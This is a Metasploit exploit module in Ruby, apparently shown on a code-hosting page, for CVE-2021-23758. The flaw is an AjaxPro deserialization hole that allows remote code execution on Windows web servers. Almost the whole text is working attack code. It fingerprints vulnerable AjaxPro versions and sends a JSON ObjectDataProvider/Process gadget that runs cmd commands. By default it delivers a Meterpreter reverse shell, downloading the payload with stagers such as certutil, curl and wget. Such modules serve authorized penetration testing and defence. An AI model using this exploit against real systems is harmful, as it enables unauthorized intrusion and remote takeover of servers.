Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'AjaxPro Deserialization Remote Code Execution',18'Description' => %q{19This module leverages an insecure deserialization of data to get20remote code execution on the target OS in the context of the user21running the website which utilized AjaxPro.2223To achieve code execution, the module will construct some JSON data24which will be sent to the target. This data will be deserialized by25the AjaxPro JsonDeserializer and will trigger the execution of the26payload.2728All AjaxPro versions prior to 21.10.30.1 are vulnerable to this29issue, and a vulnerable method which can be used to trigger the30deserialization exists in the default AjaxPro namespace.3132AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom33method that accepts a parameter of type that is assignable from34`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can35still be exploited.3637This module has been tested successfully against official AjaxPro on38version 7.7.31.1 without any modification, and on version 21.10.30.139with a custom vulnerable method added.40},41'Author' => [42'Hans-Martin Münch (MOGWAI LABS)', # Discovery43'Jemmy Wang' # MSF Module44],45'References' => [46['CVE', '2021-23758'],47['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']48],49'DisclosureDate' => '2021-12-03',50'License' => MSF_LICENSE,51'Platform' => ['windows'],52'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],53'Privileged' => false,54'Targets' => [55[56'Windows Command',57{58'Platform' => 'win',59'Arch' => ARCH_CMD,60'Type' => :win_cmd,61'DefaultOptions' => {62'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'63}64}65],66[67'Windows Dropper',68{69'Platform' => 'win',70'Arch' => [ARCH_X86, ARCH_X64],71'Type' => :win_dropper,72'DefaultOptions' => {73'PAYLOAD' => 'windows/meterpreter/reverse_tcp',74'CMDSTAGER::FLAVOR' => 'certutil'75},76'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]77}78],79],80'DefaultOptions' => { 'WfsDelay' => 30 },81'DefaultTarget' => 0,82'Notes' => {83'Stability' => [CRASH_SAFE],84'Reliability' => [REPEATABLE_SESSION],85'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]86}87)88)8990register_options([91OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),92OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),93OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),94OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])95])9697@ajax_pro = { ID: 'AjaxPro' }98end99100def check101res = send_request_cgi(102'method' => 'GET',103'uri' => normalize_uri(target_uri.path, 'core.ashx'),104'keep_cookies' => true105)106unless res107return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")108end109110unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')111return CheckCode::Safe('Is not AjaxPro?')112end113114unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)115return CheckCode::Detected('Failed to get AjaxPro ID.')116end117118@ajax_pro[:ID] = cap[0]119120unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)121return CheckCode::Detected('Failed to get AjaxPro version.')122end123124@ajax_pro[:version] = cap[0]125126if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')127return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")128end129130res = send_request_cgi(131'method' => 'GET',132'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),133'keep_cookies' => true134)135unless res136return CheckCode::Appears('Failed to check if the target method exists.')137end138139unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)140return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")141end142143CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")144end145146def execute_command(cmd, _opts = {})147vprint_status("Executing command: #{cmd}")148json_post_data = JSON.generate(149{150"#{datastore['Parameter']}": {151__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',152MethodName: 'Start',153ObjectInstance: {154__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',155StartInfo: {156__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',157FileName: 'cmd',158Arguments: "/c #{cmd}"159}160}161}162}163)164165res = send_request_cgi({166'method' => 'POST',167'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),168'ctype' => 'text/plain; charset=utf-8',169'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },170'data' => json_post_data171})172unless res173fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")174end175176unless res.code == 200177fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")178end179end180181def exploit182case target['Type']183when :win_cmd184execute_command(payload.encoded)185when :win_dropper186execute_cmdstager(background: true, delay: 1)187end188end189end190191192